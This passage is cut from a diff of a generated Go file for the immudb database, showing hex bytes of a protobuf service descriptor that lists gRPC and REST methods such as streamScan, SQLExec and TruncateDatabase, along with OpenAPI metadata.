0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, - 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, + 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, + 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, - 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, + 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, + 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, + 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, + 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, - 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, - 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, - 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, - 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, - 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, - 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, - 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, - 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, - 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, - 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, - 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, - 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, - 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, - 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, - 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, - 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, - 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, - 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, - 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, - 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, - 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, - 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, - 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, - 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, - 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, + 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, + 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, + 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, + 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, + 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x62, 0x0a, + 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, + 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, + 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, + 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, + 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x7f, 0x0a, 0x10, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x12, 0x7c, 0x0a, 0x10, + 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x72, 